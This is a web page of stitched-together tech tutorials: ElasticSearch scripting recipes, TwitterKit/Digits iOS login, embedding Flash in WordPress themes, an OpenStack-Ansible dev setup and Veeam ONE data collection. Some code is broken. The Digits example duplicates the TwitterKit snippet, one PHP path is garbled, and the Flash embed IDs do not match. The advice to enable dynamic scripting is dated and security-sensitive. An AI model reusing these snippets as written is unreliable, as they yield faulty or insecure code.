doc['field_name'].multivalue: This returns true if the field_name field contains multiple values. If the field contains a geopoint value, additional methods are available, as follows: doc['field_name'].lat: This returns the latitude of a geopoint. If you need the value as an array, you can use the doc['field_name'].lats method. doc['field_name'].lon: This returns the longitude of a geopoint. If you need the value as an array, you can use the doc['field_name'].lons method. doc['field_name'].distance(lat,lon): This returns the plane distance, in miles, from a latitude/longitude point. If you need to calculate the distance in kilometers, you should use the doc['field_name'].distanceInKm(lat,lon) method. doc['field_name'].arcDistance(lat,lon): This returns the arc distance, in miles, from a latitude/longitude point. If you need to calculate the distance in kilometers, you should use the doc['field_name'].arcDistanceInKm(lat,lon) method. doc['field_name'].geohashDistance(geohash): This returns the distance, in miles, from a geohash value. If you need to calculate the same distance in kilometers, you should use doc['field_name'] and the geohashDistanceInKm(lat,lon) method. By using these helper methods, it is possible to create advanced scripts in order to boost a document by a distance that can be very handy in developing geolocalized centered applications. Managing scripts Depending on your scripting usage, there are several ways to customize ElasticSearch to use your script extensions. In this recipe, we will see how to provide scripts to ElasticSearch via files, indexes, or inline. Getting ready You will need a working ElasticSearch cluster populated with the populate script (chapter_06/populate_aggregations.sh), available at https://github.com/aparo/ elasticsearch-cookbook-second-edition. How to do it... To manage scripting, perform the following steps: Dynamic scripting is disabled by default for security reasons; we need to activate it in order to use dynamic scripting languages such as JavaScript or Python. To do this, we need to turn off the disable flag (script.disable_dynamic: false) in the ElasticSearch configuration file (config/elasticseach.yml) and restart the cluster. To increase security, ElasticSearch does not allow you to specify scripts for non-sandbox languages. Scripts can be placed in the scripts directory inside the configuration directory. To provide a script in a file, we'll put a my_script.groovy script in the config/scripts location with the following code content: doc["price"].value * factor If the dynamic script is enabled (as done in the first step), ElasticSearch allows you to store the scripts in a special index, .scripts. To put my_script in the index, execute the following command in the command terminal: curl -XPOST localhost:9200/_scripts/groovy/my_script -d '{ "script":"doc["price"].value * factor" }' The script can be used by simply referencing it in the script_id field; use the following command: curl -XGET 'http://127.0.0.1:9200/test-index/test-type/_search?&pretty=true&size=3' -d '{ "query": {    "match_all": {} }, "sort": {    "_script" : {      "script_id" : "my_script",      "lang" : "groovy",      "type" : "number",      "ignore_unmapped" : true,      "params" : {        "factor" : 1.1      },      "order" : "asc"    } } }' How it works... ElasticSearch allows you to load your script in different ways; each one of these methods has their pros and cons. The most secure way to load or import scripts is to provide them as files in the config/scripts directory. This directory is continuously scanned for new files (by default, every 60 seconds). The scripting language is automatically detected by the file extension, and the script name depends on the filename. If the file is put in subdirectories, the directory path becomes part of the filename; for example, if it is config/scripts/mysub1/mysub2/my_script.groovy, the script name will be mysub1_mysub2_my_script. If the script is provided via a filesystem, it can be referenced in the code via the "script": "script_name" parameter. Scripts can also be available in the special .script index. These are the REST end points: To retrieve a script, use the following code: GET http://<server>/_scripts/<language>/<id"> To store a script use the following code: PUT http://<server>/_scripts/<language>/<id> To delete a script use the following code: DELETE http://<server>/_scripts/<language>/<id> The indexed script can be referenced in the code via the "script_id": "id_of_the_script" parameter. The recipes that follow will use inline scripting because it's easier to use it during the development and testing phases. Generally, a good practice is to develop using the inline dynamic scripting in a request, because it's faster to prototype. Once the script is ready and no changes are needed, it can be stored in the index since it is simpler to call and manage. In production, a best practice is to disable dynamic scripting and store the script on the disk (generally, dumping the indexed script to disk). See also The scripting page on the ElasticSearch website at http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html Sorting data using script ElasticSearch provides scripting support for the sorting functionality. In real world applications, there is often a need to modify the default sort by the match score using an algorithm that depends on the context and some external variables. Some common scenarios are given as follows: Sorting places near a point Sorting by most-read articles Sorting items by custom user logic Sorting items by revenue Getting ready You will need a working ElasticSearch cluster and an index populated with the script, which is available at https://github.com/aparo/ elasticsearch-cookbook-second-edition. How to do it... In order to sort using scripting, perform the following steps: If you want to order your documents by the price field multiplied by a factor parameter (that is, sales tax), the search will be as shown in the following code: curl -XGET 'http://127.0.0.1:9200/test-index/test-type/_search?&pretty=true&size=3' -d '{ "query": {    "match_all": {} }, "sort": {    "_script" : {      "script" : "doc["price"].value * factor",      "lang" : "groovy",      "type" : "number",      "ignore_unmapped" : true,    "params" : {        "factor" : 1.1      },            "order" : "asc"        }    } }' In this case, we have used a match_all query and a sort script. If everything is correct, the result returned by ElasticSearch should be as shown in the following code: { "took" : 7, "timed_out" : false, "_shards" : {    "total" : 5,    "successful" : 5,    "failed" : 0 }, "hits" : {    "total" : 1000,    "max_score" : null,    "hits" : [ {      "_index" : "test-index",      "_type" : "test-type",      "_id" : "161",      "_score" : null, "_source" : … truncated …,      "sort" : [ 0.0278578661440021 ]    }, {      "_index" : "test-index",      "_type" : "test-type",      "_id" : "634",      "_score" : null, "_source" : … truncated …,     "sort" : [ 0.08131364254827411 ]    }, {      "_index" : "test-index",      "_type" : "test-type",      "_id" : "465",      "_score" : null, "_source" : … truncated …,      "sort" : [ 0.1094966959069832 ]    } ] } } How it works... The sort scripting allows you to define several parameters, as follows: order (default "asc") ("asc" or "desc"): This determines whether the order must be ascending or descending. script: This contains the code to be executed. type: This defines the type to convert the value. params (optional, a JSON object): This defines the parameters that need to be passed. lang (by default, groovy): This defines the scripting language to be used. ignore_unmapped (optional): This ignores unmapped fields in a sort. This flag allows you to avoid errors due to missing fields in shards. Extending the sort with scripting allows the use of a broader approach to score your hits. ElasticSearch scripting permits the use of every code that you want. You can create custom complex algorithms to score your documents. There's more... Groovy provides a lot of built-in functions (mainly taken from Java's Math class) that can be used in scripts, as shown in the following table: Function Description time() The current time in milliseconds sin(a) Returns the trigonometric sine of an angle cos(a) Returns the trigonometric cosine of an angle tan(a) Returns the trigonometric tangent of an angle asin(a) Returns the arc sine of a value acos(a) Returns the arc cosine of a value atan(a) Returns the arc tangent of a value toRadians(angdeg) Converts an angle measured in degrees to an approximately equivalent angle measured in radians toDegrees(angrad) Converts an angle measured in radians to an approximately equivalent angle measured in degrees exp(a) Returns Euler's number raised to the power of a value log(a) Returns the natural logarithm (base e) of a value log10(a) Returns the base 10 logarithm of a value sqrt(a) Returns the correctly rounded positive square root of a value cbrt(a) Returns the cube root of a double value IEEEremainder(f1, f2) Computes the remainder operation on two arguments, as prescribed by the IEEE 754 standard ceil(a) Returns the smallest (closest to negative infinity) value that is greater than or equal to the argument and is equal to a mathematical integer floor(a) Returns the largest (closest to positive infinity) value that is less than or equal to the argument and is equal to a mathematical integer rint(a) Returns the value that is closest in value to the argument and is equal to a mathematical integer atan2(y, x) Returns the angle theta from the conversion of rectangular coordinates (x,y_) to polar coordinates (r,_theta) pow(a, b) Returns the value of the first argument raised to the power of the second argument round(a) Returns the closest integer to the argument random() Returns a random double value abs(a) Returns the absolute value of a value max(a, b) Returns the greater of the two values min(a, b) Returns the smaller of the two values ulp(d) Returns the size of the unit in the last place of the argument signum(d) Returns the signum function of the argument sinh(x) Returns the hyperbolic sine of a value cosh(x) Returns the hyperbolic cosine of a value tanh(x) Returns the hyperbolic tangent of a value hypot(x,y) Returns sqrt(x^2+y^2) without an intermediate overflow or underflow acos(a) Returns the arc cosine of a value atan(a) Returns the arc tangent of a value If you want to retrieve records in a random order, you can use a script with a random method, as shown in the following code: curl -XGET 'http://127.0.0.1:9200/test-index/test-type/_search?&pretty=true&size=3' -d '{ "query": {    "match_all": {} }, "sort": {    "_script" : {      "script" : "Math.random()",      "lang" : "groovy",      "type" : "number",      "params" : {}    } } }' In this example, for every hit, the new sort value is computed by executing the Math.random() scripting function. See also The official ElasticSearch documentation at http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html Computing return fields with scripting ElasticSearch allows you to define complex expressions that can be used to return a new calculated field value. These special fields are called script_fields, and they can be expressed with a script in every available ElasticSearch scripting language. Getting ready You will need a working ElasticSearch cluster and an index populated with the script (chapter_06/populate_aggregations.sh), which is available at https://github.com/aparo/ elasticsearch-cookbook-second-edition. How to do it... In order to compute return fields with scripting, perform the following steps: Return the following script fields: "my_calc_field": This concatenates the text of the "name" and "description" fields "my_calc_field2": This multiplies the "price" value by the "discount" parameter From the command line, execute the following code: curl -XGET 'http://127.0.0.1:9200/test-index/test-type/ _search?&pretty=true&size=3' -d '{ "query": {    "match_all": {} }, "script_fields" : {    "my_calc_field" : {      "script" : "doc["name"].value + " -- " + doc["description"].value"    },    "my_calc_field2" : {      "script" : "doc["price"].value * discount",      "params" : {       "discount" : 0.8      }    } } }' If everything works all right, this is how the result returned by ElasticSearch should be: { "took" : 4, "timed_out" : false, "_shards" : {    "total" : 5,    "successful" : 5,    "failed" : 0 }, "hits" : {    "total" : 1000,    "max_score" : 1.0,    "hits" : [ {      "_index" : "test-index",      "_type" : "test-type",      "_id" : "4",      "_score" : 1.0,      "fields" : {        "my_calc_field" : "entropic -- accusantium",        "my_calc_field2" : 5.480038242170081      }    }, {      "_index" : "test-index",      "_type" : "test-type",      "_id" : "9",      "_score" : 1.0,      "fields" : {        "my_calc_field" : "frankie -- accusantium",        "my_calc_field2" : 34.79852410178313      }    }, {      "_index" : "test-index",      "_type" : "test-type",      "_id" : "11",      "_score" : 1.0,      "fields" : {        "my_calc_field" : "johansson -- accusamus",        "my_calc_field2" : 11.824173084636591      }    } ] } } How it works... The scripting fields are similar to executing an SQL function on a field during a select operation. In ElasticSearch, after a search phase is executed and the hits to be returned are calculated, if some fields (standard or script) are defined, they are calculated and returned. The script field, which can be defined with all the supported languages, is processed by passing a value to the source of the document and, if some other parameters are defined in the script (in the discount factor example), they are passed to the script function. The script function is a code snippet; it can contain everything that the language allows you to write, but it must be evaluated to a value (or a list of values). See also The Installing additional script plugins recipe in this article to install additional languages for scripting The Sorting using script recipe to have a reference of the extra built-in functions in Groovy scripts Filtering a search via scripting ElasticSearch scripting allows you to extend the traditional filter with custom scripts. Using scripting to create a custom filter is a convenient way to write scripting rules that are not provided by Lucene or ElasticSearch, and to implement business logic that is not available in the query DSL. Getting ready You will need a working ElasticSearch cluster and an index populated with the (chapter_06/populate_aggregations.sh) script, which is available at https://github.com/aparo/ elasticsearch-cookbook-second-edition. How to do it... In order to filter a search using a script, perform the following steps: Write a search with a filter that filters out a document with the value of age less than the parameter value: curl -XGET 'http://127.0.0.1:9200/test-index/test-type/_search?&pretty=true&size=3' -d '{ "query": {    "filtered": {      "filter": {        "script": {          "script": "doc["age"].value > param1",          "params" : {            "param1" : 80          }        }      },      "query": {        "match_all": {}      }    } } }' In this example, all the documents in which the value of age is greater than param1 are qualified to be returned. If everything works correctly, the result returned by ElasticSearch should be as shown here: { "took" : 30, "timed_out" : false, "_shards" : {    "total" : 5,    "successful" : 5,    "failed" : 0 }, "hits" : {    "total" : 237,    "max_score" : 1.0,    "hits" : [ {      "_index" : "test-index",      "_type" : "test-type",      "_id" : "9",      "_score" : 1.0, "_source" :{ … "age": 83, … }    }, {      "_index" : "test-index",      "_type" : "test-type",      "_id" : "23",      "_score" : 1.0, "_source" : { … "age": 87, … }    }, {      "_index" : "test-index",      "_type" : "test-type",      "_id" : "47",      "_score" : 1.0, "_source" : {…. "age": 98, …}    } ] } } How it works... The script filter is a language script that returns a Boolean value (true/false). For every hit, the script is evaluated, and if it returns true, the hit passes the filter. This type of scripting can only be used as Lucene filters, not as queries, because it doesn't affect the search (the exceptions are constant_score and custom_filters_score). These are the scripting fields: script: This contains the code to be executed params: These are optional parameters to be passed to the script lang (defaults to groovy): This defines the language of the script The script code can be any code in your preferred and supported scripting language that returns a Boolean value. There's more... Other languages are used in the same way as Groovy. For the current example, I have chosen a standard comparison that works in several languages. To execute the same script using the JavaScript language, use the following code: curl -XGET 'http://127.0.0.1:9200/test-index/test-type/_search?&pretty=true&size=3' -d '{ "query": {    "filtered": {      "filter": {        "script": {          "script": "doc["age"].value > param1",          "lang":"javascript",          "params" : {            "param1" : 80          }        }      },      "query": {        "match_all": {}      }    } } }' For Python, use the following code: curl -XGET 'http://127.0.0.1:9200/test-index/test-type/_search?&pretty=true&size=3' -d '{ "query": {    "filtered": {      "filter": {        "script": {          "script": "doc["age"].value > param1",          "lang":"python",          "params" : {            "param1" : 80          }        }      },      "query": {        "match_all": {}      }    } } }' See also The Installing additional script plugins recipe in this article to install additional languages for scripting The Sorting data using script recipe in this article to get a reference of the extra built-in functions in Groovy scripts Summary In this article you have learnt the ways you can use scripting to extend the ElasticSearch functional capabilities using different programming languages. Resources for Article: Further resources on this subject: Indexing the Data [Article] Low-Level Index Control [Article] Designing Puppet Architectures [Article]
Read more
  • 0
  • 0
  • 8475
Unlock access to the largest independent learning library in Tech for FREE!
Get unlimited access to 7500+ expert-authored eBooks and video courses covering every tech area you can think of.
Renews at €18.99/month. Cancel anytime
article-image-add-a-twitter-sign-in-to-your-ios-app-with-twitterkit
Doron Katz
15 Mar 2015
5 min read
Save for later

Add a Twitter Sign In To Your iOS App with TwitterKit

Doron Katz
15 Mar 2015
5 min read
What is TwitterKit & Digits? In this post we take a look at Twitter’s new Sign-in API, TwitterKit and Digits, bundled as part of it’s new Fabric suite of tools, announced by Twitter earlier this year, as well as providing you with two quick snippets on on how to integrate Twitter’s sign-in mechanism into your iOS app. Facebook, and to a lesser-extent Google, have for a while dominated the single sign-on paradigm, through their SDK or Accounts.framework on iOS, to encourage developers to provide a consolidated form of login for their users. Twitter has decided to finally get on the band-wagon and work toward improving its brand through increasing sign-on participation, and providing a concise way for users to log-in to their favorite apps without needing to remember individual passwords. By providing a Login via Twitter button, developers will gain the user’s Twitter identity, and subsequently their associated twitter tweets and associations. That is, once the twitter account is identified, the app can engage followers of that account (friends), or to access the user’s history of tweets, to data-mind for a specific keyword or hashtag. In addition to offering a single sign-on, Twitter is also offering Digits, the ability for users to sign-on anonymously using one’s phone number, synonymous with Facebook’s new Anonymous Login API.   The benefits of Digit The rationale behind Digits is to provide users with the option of trusting the app or website and providing their Twitter identification in order to log-in. Another option for the more hesitant ones wanting to protect their social graph history, is to only provide a unique number, which happens to be a mobile number, as a means of identification and authentication. Another benefit for users is that logging in is dead-simple, and rather than having to go through a deterring form of identification questions, you just ask them for their number, from which they will get an authentication confirmation SMS, allowing them to log-in. With a brief introduction to TwitterKit and Digits, let’s show you how simple it is to implement each one. Logging in with TwitterKit Twitter wanted to make implementing its authentication mechanism a more simpler and attractive process for developers, which they did. By using the SDK as part of Twitter’s Fabric suite, you will already get your Twitter app set-up and ready, registered for use with the company’s SDK. TwitterKit aims to leverage the existing Twitter account on the iOS, using the Accounts.framework, which is the preferred and most rudimentary approach, with a fallback to using the OAuth mechanism. The easiest way to implement Twitter authentication is through the generated button, TWTRLogInButton, as we will demonstrate using iOS’Swift language. let authenticationButton = TWTRLogInButton(logInCompletion: { (session, error) in if (session != nil) { //We signed in, storing session in session object. } else { //we get an error, accessible from error object } }) It’s quite simple, leaving you with a TWTRLoginButton button subclass, that users can add to your view hierarchy and have users interact with. Logging in with Digits Having created a login button using TwitterKit, we will now create the same feature using Digits. The simplicity of implementation is maintained with Digits, with the simplest process once again to create a pre-configured button, DGTAuthenticateButton: let authenticationButton = TWTRLogInButton(logInCompletion: { (session, error) in if (session != nil) { //We signed in, storing session in session object. } else { //we get an error, accessible from error object } }) Summary Implementing TwitterKit and Digits are both quite straight forward in iOS, with different intentions. Whereas TwitterKit allows you to have full-access to the authenticated user’s social history, the latter allows for a more abbreviated, privacy-protected approach to authenticating. If at some stage the user decides to trust the app and feels more comfortable providing full access of her or his social history, you can defer catering to that till later in the app usage. The complete iOS reference for TwitterKit and Digits can be found by clicking here. The popularity and uptake of TwitterKit remains to be seen, but as an extra option for developers, when adding Facebook and Google+ login, users will have the option to pick their most trusted social media tool as their choice of authentication. Providing an anonymous mode of login also falls in line with the more privacy-conscious world, and Digits certainly provides a seamless way of implementing, and impressively straight-forward way for users to authenticate using their phone number. We have briefly demonstrated how to interact with Twitter’s SDK using iOS and Swift, but there is also an Android SDK version, with a Web version in the pipeline very soon, according to Twitter. This is certainly worth exploring, along with the rest of the tools offered in the Fabric suite, including analytics and beta-distribution tools, and more. About the author Doron Katz is an established Mobile Project Manager, Architect and Developer, and a pupil of the methodology of Agile Project Management,such as applying Kanban principles. Doron also believes in BehaviourDriven Development (BDD), anticipating user interaction prior to design, that is. Doron is also heavily involved in various technical user groups, such as CocoaHeads Sydney, and Adobe user Group.
Read more
  • 0
  • 0
  • 8469

article-image-adding-flash-your-wordpress-theme
Packt
24 Dec 2009
11 min read
Save for later

Adding Flash to your WordPress Theme

Packt
24 Dec 2009
11 min read
Adobe Flash—it's come quite a long way since my first experience with it as a Macromedia product (version 2 in 1997). Yet still, it does not adhere to W3C standards, requires a plugin to view, and above all, is a pretty pricey proprietary product. So why is everyone so hot on using it? Love it or hate it, Flash is here to stay. It does have a few advantages that we'll take a quick look at. The Flash player plugin does boast the highest saturation rate around (way above other media player plugins) and it now readily accommodates audio and video, as video sites such as You Tube take advantage of it. It's pretty easy to add and upgrade for all major browsers. The price may seem prohibitive at first, but after the initial purchase, additional upgrades are reasonably priced. Plus, many third-party software companies offer very cheap authoring tools that allow you to create animations and author content using the Flash player format. (In most cases, no one needs to know you're using the $50 version of Swish and not the $800 Flash CS3 to create your content.) Above all, it can do so much more than just playing video and audio (like most plugins). You can create seriously rich and interactive content, even entire applications with it, and the best part is, no matter what you create with it, it is going to look and work exactly the same on all browsers and platforms. These are just a few of the reasons why so many developers chose to build content and applications for the Flash player. Oh, and did I mention you can easily make awesome, visually slick, audio-filled stuff with it? Yeah, that's why your client wants you to put it in their site. Flash in your theme A commonly requested use of Flash is usually in the form of a snazzy header within the theme of the site, the idea being that various relevant and/or random photographs or designs load into the header with some supercool animation (and possibly audio) every time a page loads or a section changes. I'm going to assume if you're using anything that requires the Flash player, you're pretty comfortable with generating content for it. So, we're not going to focus on any Flash timeline tricks or ActionScripting. We'll simply cover getting your Flash content into your WordPress theme. For the most part, you can simply take the HTML object embed code that Flash (or other third-party tools) will generate for you and paste it into the header area of your WordPress index.php or header.php template file. Handling users without Flash, older versions of Flash, and IE6 users While the previous method is extremely clean and simple, it doesn't help all of your site's users in dealing with Flash. What about users who don't have Flash installed or have an older version that won't support your content? What about IE users who have the Active X restrain? You'll want your site and theme to gracefully handle users who do not have Flash (if you've used the overlay method, they'll simply see the CSS background image and probably not know anything is wrong!) or an older version of Flash that doesn't support the content you wish to display. This method lets you add in a line of text or a static image as an alternative, so people who don't have the plugin/correct version installed are either served up alternative content and they're none-the-wiser, or served up content that nicely explains that they need the plugin and directs them towards getting it. Most importantly, this method also nicely handles IE's ActiveX restrictions. Is the ActiveX restriction still around? In 2006, the IE browser upped its security, so users had to validate content that shows up in the Flash player (or any player) via Microsoft's ActiveX controls). Your Flash content starts to play, but there's a "grey outline" around the player area which may or may not mess up your design. If your content is interactive, then people will need to click to activate it. This is annoying, but the main workaround involved "injecting" controls and players via JavaScript. Essentially, you need to include your Flash content via a JavaScript include file. As of April 2008, this restriction was reverted, but only if your user has updated their browser; chances are, if they intent on still using IE6 or 7, they haven't done this update. Regardless of whether you are concerned about ActiveX restrictions, using JavaScript to help you instantiate your Flash will greatly add to the ease of embedding content. It will also make sure that users of all versions or who need to install Flash are handled either by directing them to the proper Flash installation and/or letting them see an alternative version of the content. swfObject For a while, I used this standard swfObject method that was detailed in this great SitePoint article: http://www.sitepoint.com/article/activex-activationissue-ie. A similar, robust version of this JavaScript is located on Google Code's AJAX API http://code.google.com/p/swfobject/wiki/hosted_library. You can download the script (it's very small) or you can link directly to the swfObject AJAX API URL: <script type="text/javascript"src="http://ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js"></script> Downloaded or linked to the Google Code CDN, be sure to place this below your wp_head or any wp_enqueue_script calls in your < head > tags in your header.php template file or other head template file. Adding a SWF to the template using swfObject If you'd like to use the swfObject.js file and method, you can read the full documentation here: http://code.google.com/p/swfobject/wiki/documentation. But essentially, we're going to use the dynamic publishing option to include our SWF file. Using the SWF file included in this book's code packet, create a new directory in your theme called flash and place the SWF file in it. Then, create a div with alternative content and a script tag that includes the following JavaScript: <script type="text/javascript">swfobject.embedSWF("myContent.swf", "myContent", "300", "120","9.0.0");</script>...<div id="myContent"><p>Alternative content</p></div>... Add this ID rule to your stylesheet (I placed it just below my other header and intHeader ID rules): #flashHold{float: right;margin-top: 12px;margin-right: 47px;} As long as you take care to make sure the div is positioned correctly, the object embed code has the correct height and width of your Flash file, and you're not accidentally overwriting any parts of the theme that contain WordPress template tags or other valuable PHP code, you're good to go. What's the Satay method?It's a cleaner way to embed your Flash movies while still supporting web standards. Drew McLellan discusses its development in detail in this article: http://www.alistapart.com/articles/flashsatay. This method was fine on its own until IE6 decided to include its ActiveX security restriction. Nowadays, a modified embed method called the "nested-objects method": http://www.alistapart.com/articles/flashembedcagematch/ is used with the swfObject JavaScript we just covered. Good developer's tip:Even if you loathe IE (as lots of us as developers tend to), it is an "industry standard" browser and you have to work with it. I've found the Microsoft's IE blog ( http://blogs.msdn.com/ie/) extremely useful in keeping tabs on IE so that I can better develop CSS-based templates for it. While you're at it, go ahead and subscribe to the RSS feeds for Firefox ( http://developer.mozilla.org/devnews/), Safari ( http://developer.apple.com/internet/safari/), and your other favorite browsers. You'll be surprised at the insight you can glean, which can be extremely handy if you ever need to debug CSS or JavaScripts for one of those browsers. jQuery Flash plugin In the past year, as I've found myself making more and more use of jQuery, I've discovered and really liked Luke Lutman's jQuery Flash plugin. There is no CDN for this and it's not bundled with WordPress, so you'll need to download it and add it to your theme's js directory: ( http://jquery.lukelutman.com/plugins/flash/). Embedding Flash files using the jQuery Flash plugin As we're leveraging jQuery already, I find Luke's Flash plugin a little easier to deal with. Load the script under the wp_head. Place a div of alternative content; just the div of alternative content and nothing else! Write the jQuery script that will replace that content or show your alternative content for old/no Flash players. Code goes here. I think you see why I liked this so much more. Passing Flash a WordPress variable So now you've popped a nice Flash header into your theme. Here's a quick trick to make it all the more impressive. If you'd like to keep track of what page, post, or category your WordPress user has clicked on and display a relevant image or animation in the header, you can pass your Flash SWF file a variable from WordPress using PHP. I've made a small and simple Flash movie that will fit right over the top-right of my internal page's header. I'd like my Flash header to display some extra text when the viewer selects a different "column" (a.k.a. category). In this case, the animation will play and display OpenSource Magazine: On The New Web underneath the open source logo when the user selects the On The New Web category. More fun with CSSIf you look at the final theme package available from this title's URL on the Packt Publishing site, I've included the original ooflash-sample. FLA file. You'll notice the FLA has a standard white background. If you look at my header.php file, you'll notice that I've set my wmode parameter to transparent. This way, my animation is working with my CSS background. Rather than beef up my SWF's file size with another open source logo, I simply animate over it! Even if my animation "hangs" or never loads, the user's perception and experience of the page is not hampered. You can also use this trick as a "cheater's preloader". In your stylesheet, assign the div that holds your Flash object embed tags, a background image of an animated preloading GIF or some other image that indicates the user should expect something to load. The user will see this background image until your Flash file starts to play and covers it up. My favorite site to get and create custom loading GIFs is http://www.ajaxload.info/.   In your Flash authoring program, set up a series of animations or images that will load or play based on a variable set in the root timeline called catName. You'll pass this variable to your ActionScript. In my FLA example, if the catName variable does not equal On The New Web, then the main animation will play, but if the variable returns On The New Web, then the visibility of the movie clip containing the words OpenSource Magazine: On The New Web will be set to "true". Now, let's get our PHP variable into our SWF file. In your object embed code where your swfs are called, be sure to add the following code: If you plan on using the Satay embed method, your object embed will look like this: ...<script type="text/javascript">var flashvars = {catName: "<?echo single_cat_title('');?>"};swfobject.embedSWF("<?php bloginfo('template_directory');?>/flash/ooflash-sample.swf", "flashHold", "338", "150","8.0.0","expressInstall.swf", flashvars);</script>... If you'd like to use jQuery Flash, your jQuery will look like this: ...<script type="text/javascript">jQuery(document).ready(function(){jQuery('#flashHold').flash({src: '<?php bloginfo('template_directory');?>/flash/ooflash-sample.swf',width: 338,height: 150,flashvars: { catName: '<?echo single_cat_title('');?>' }},{ version: 8 });});</script>... Be sure to place the full path to your SWF file in the src and value parameters for the embed tags or jQuery src. Store your Flash file inside your themes directory and link to it directly, that is, src="/mythemename/flas'); template tag. This will ensure that your SWF file loads properly. Using this method every time someone loads a page or clicks on a link on your site that is within the On The New Web category, PHP will render the template tag as myswfname.swf?catName=On The New Web, or whatever the $single_cat_title(""); for that page is. So your Flash file's ActionScript is going to look for a variable called catName in the_root or _level0, and based on that value, do whatever you told it to do—call a function, go to a frame and animate; you can even name it. For extra credit, you can play around with the other template tag variables such as the_author_meta or the_date(), for example, and load up special animations, images, or call functions based on them.
Read more
  • 0
  • 2
  • 8468

Packt
07 Jul 2016
5 min read
Save for later

AIO setup of OpenStack – preparing the infrastructure code environment

Packt
07 Jul 2016
5 min read
Viewing your OpenStack infrastructure deployment as code will not only simplify node configuration, but also improve the automation process. Despite the existence of numerous system-management tools to bring our OpenStack up and running in an automated way, we have chosen Ansible for automation of our infrastructure. (For more resources related to this topic, see here.) At the end of the day you can choose to use any automation tool that fits your production need, the key point to keep in mind is that to manage a big production environment you must simplify operation by: Automating deployment and operation as much as possible Tracking your changes in a version control system Continuous integration of code to keep you infrastructure updated and bug free Monitoring and testing your infrastructure code to make it robust. We have chosen Git to be our version control system. Let's go ahead and install the Git package on our development system. Check the correctness of the Git installation: If you decide to use IDE like eclipse for you development, it might be easier to install a Git plugin to integrate Git to your IDE. For example, the EGit plugin can be used to develop with Git in Eclipse. We do this by navigating to the Help | Install new software menu entry. You will need to add the following URL to install EGit: http://download.eclipse.org/egit/updates. Preparing the development setup The install process is divided into the following steps: Checkout the OSA repository. Install and bootstrap Ansible. Initial host bootstrap. Run playbooks. Configuring your setup The AIO development environment used the configuration files in the test/roles/bootstrap-host/defaults/main.yml file. This file describes the default values for the host configuration. In addition to the configuration, file the configuration options can be passed through shell environment variables. The BOOTSTRAP_OPTS variable is read by the bootstrap script as a space separated key-value pair. It can be used to pass values to override the default ones in the configuration file: export BOOTSTRAP_OPTS="${BOOTSTRAP_OPTS} bootstrap_host_loopback_cinder_size=512" OSA also allows overriding default values for service configuration. These override values are provides in the etc/openstack_deploy/user_variables.yml file. The following is an example of overriding the values in nova.conf using the override file: nova_nova_conf_overrides: DEFAULT: remove_unused_original_minimum_age_seconds: 43200 libvirt: cpu_mode: host-model disk_cachemodes: file=directsync,block=none database: idle_timeout: 300 max_pool_size: 10 This override file will populate the nova.conf file with the following options: [DEFAULT] remove_unused_original_minimum_age_seconds = 43200 [libvirt] cpu_mode = host-model disk_cachemodes = file=directsync,block=none [database] idle_timeout = 300 max_pool_size = 10 The override variables can also be passed using a per host configuration stanza in /etc/openstack_deploy/openstack_user_config.yml. The complete set of configuration options are described in the OpenStack Ansible documentation at http://docs.openstack.org/developer/openstack-ansible/install-guide/configure-openstack.html. Building the development setup To start the installation process, execute the Ansible bootstrap script. This script will download and install the correct Ansible version. It also creates a wrapper script around ansible-playbook called openstack-ansible that always loads the OpenStack user variable files. Next step is to configure the system for the all-in-one setup. This script does the following tasks: Applies Ansible roles to install the basic software requirements like openSSH and pip. It also applies the bootstrap_host role to check the hard-disk and swap space Create various loopback volumes for use with Cinder, Swift and Nova Prepares networking Finally, we run the playbooks to bring up the AIO development environment. This script will execute the following tasks: Creates the LXC containers Applies security hardening to the host Reinitiates the network bridges Install the infrastructure services like MySQL, RabbitMQ, memcached, and more Finally it installs the various OpenStack services Running the playbooks take a long time to build the containers and start the OpenStack services. Once finished you will have all the OpenStack services running in their private container. You can use the lxc-ls command to list the service containers on the development machine. Use the lxc-attach command to connect to any container as shown here: lxc-attach --name <name_of_container> Use the name of the container from the output of lxc-ls to attach to the container. LXC commands can be used to star and stop the service containers. The AIO environment brings MySQL cluster, which needs special care to start the MySQL cluster if the development machine is rebooted. Details of operating the AIO environment are available in the OpenStack Ansible QuickStart guide at http://docs.openstack.org/developer/openstack-ansible/developer-docs/quickstart-aio.html. Tracking your changes The OSA project itself is maintains its code under version control at the OpenStack git server (http://git.openstack.org/cgit/openstack/openstack-ansible/tree/). The configuration files of OSA are stored at /etc/openstack_ansible/ on the deployment host. These files define the deployment environment and the user override variables. To make sure that you control the deployment environment it is important that the changes to these configuration files are tracked in a version control system. To make sure that you track the development environment make sure that the Vagrant configuration files are also tracked in version control system. Summary So far, we’ve deployed a basic AIO setup of OpenStack. Mastering OpenStack Second Edition will take you through the process of extending our design by clustering, defining the various infrastructure nodes, controller, and compute hosts. Resources for Article: Further resources on this subject: Concepts for OpenStack[article] Introducing OpenStack Trove[article] OpenStack Performance, Availability[article]
Read more
  • 0
  • 0
  • 8467

Packt
24 Dec 2014
3 min read
Save for later

Introduction to Veeam® ONE™ Business View

Packt
24 Dec 2014
3 min read
In this article, by Kevin L. Sapp, author of the book Managing Virtual Infrastructure with Veeam® ONE™, we will have a look at how Veeam® ONE™ Business View allows you to group and manage your virtual infrastructure in business containers. This is helpful to split machines into function, priority, or any other descriptive category you would like. Veeam® ONE™ Business View displays the categorized information about VMs, clusters, and hosts in business terms. This perspective allows you to plan, control, and analyze the changes in the virtual environment. We will also have a look at data collection. (For more resources related to this topic, see here.) Data collection The data required to create the business topology is periodically collected from the connected virtual infrastructure servers. The data collection is usually run at a scheduled interval. However, you can also run the data collection manually. By default, after a virtual infrastructure server is connected to Veeam® ONE™, the collection is scheduled to run on a weekday at 2 a.m. If required, you can adjust the data collection schedule or switch to the manual collection mode to start each data collection session manually. Scheduling the data collection The best way to automate the collection of data is by creating a schedule for a specific VM server. To change the collection mode to Scheduled and to specify the time settings, use the following steps: Open the Veeam® ONE™ Business View web application by either double-clicking on the desktop icon or connecting to the Veeam® ONE™ server using a browser with the URL http://servername : 1340 by default. Click on the Configuration link located in the upper-right corner of the screen. Click on the VI Management Servers menu option located on the left-hand side of the screen.   Select the Run mode option for the server that you would like to change the schedule for.   While scheduling the data collection for the VM server, perform the following steps: Select the Periodically every option if you plan to run the data collection at a desired interval Select the Daily at this time option if you plan to run the data collection at a specific time of the day or week Once the schedule has been created, click on OK. Collecting data manually The following steps are needed to perform a manual collection of the 